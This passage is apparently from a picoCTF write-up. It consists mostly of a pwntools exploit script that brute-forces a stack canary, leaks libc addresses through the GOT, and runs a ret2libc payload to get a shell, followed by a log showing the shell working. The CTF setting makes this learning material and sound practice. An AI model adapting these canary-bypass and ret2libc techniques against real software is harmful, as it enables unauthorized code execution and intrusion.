r = remote('saturn.picoctf.net', args.PORT)
return r
else:
return chall.process()
for i in range(1,5):
for canary_char in string.printable:
r = get_process()
r.sendlineafter(b"> ", b"%d" % (canary_offset + i))
payload = b"A"* canary_offset + canary
payload += canary_char.encode()
r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)
if b"Now Where's the Flag" in resp:
canary += canary_char.encode()
break
r.close()
if not len(canary) == 4:
print ("[-] Failed to find canary!")
sys.exit()
else:
print ("[+] Found canary : %s" % canary.decode())
# gdb-peda$ p win
# $1 = {<text variable, no debug info>} 0x8049336 <win>
win = 0x8049336
# buf = .bss
# 25 .bss 00000008 0804c050 0804c050 00003050 2**2
buf = 0x0804c050
read_plt = chall.plt["read"]
puts_plt = chall.plt["puts"]
main = chall.symbols["main"]
# addresses to leak
read_got_plt = chall.got["read"]
puts_got_plt = chall.got["puts"]
def leak(got_address, len_leak):
payload = b"A" * 64 # canary offset 64
payload += canary
payload += b"A" * 16 # eip offset 16 from canary
payload += p32(puts_plt)
payload += p32(main) # ret address of puts, return to main
payload += p32(got_address) # address to leak
r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))
r.sendlineafter(b"> ", payload)
resp = r.recvall()
return resp.split(b"\n")[1][0:len_leak]
#return resp
# leaking puts address
puts_leaked = leak(puts_got_plt, 4)
puts_leaked_addr = u32(puts_leaked)
print ("[*] Leaked puts() address : ", hex(puts_leaked_addr))
read_leaked = leak(read_got_plt, 4)
read_leaked_addr = u32(read_leaked)
print ("[*] Leaked read() address : ", hex(read_leaked_addr))
# Got from libc database after leaking the above two addresses
# and identifying libc
puts_offset = 0x70ea0
libc_base = puts_leaked_addr - puts_offset
str_bin_sh_offset = 0x1b40ce
system_offset = 0x47040
binsh = libc_base + str_bin_sh_offset
system = libc_base + system_offset
system_string = leak(binsh, 7)
print ("[*] Leaked string : ", system_string)
# calling system
payload = b"A" * 64 # canary offset 64
payload += canary
payload += b"A" * 16 # eip offset 16 from canary
payload += p32(system)
payload += p32(0x42424242)
payload += p32(binsh)
r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))
r.sendlineafter(b"> ", payload)
r. interactive()
Running locally.
$ python poc-final.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8372
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 8372)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[.....]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8854
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 8854)
b"Ok... Now Where's the Flag?\n"
[+] Found canary : CAFE
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8857
[+] Receiving all data: Done (141B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 8857)
[*] Leaked puts() address : 0xb7c70ea0
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8860
[+] Receiving all data: Done (173B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 8860)
[*] Leaked read() address : 0xb7d05440
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8863
[+] Receiving all data: Done (120B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 8863)
[*] Leaked string : b'/bin/sh'
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8866
[*] Switching to interactive mode
Ok... Now Where's the Flag?
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)
$ whoami
kali
$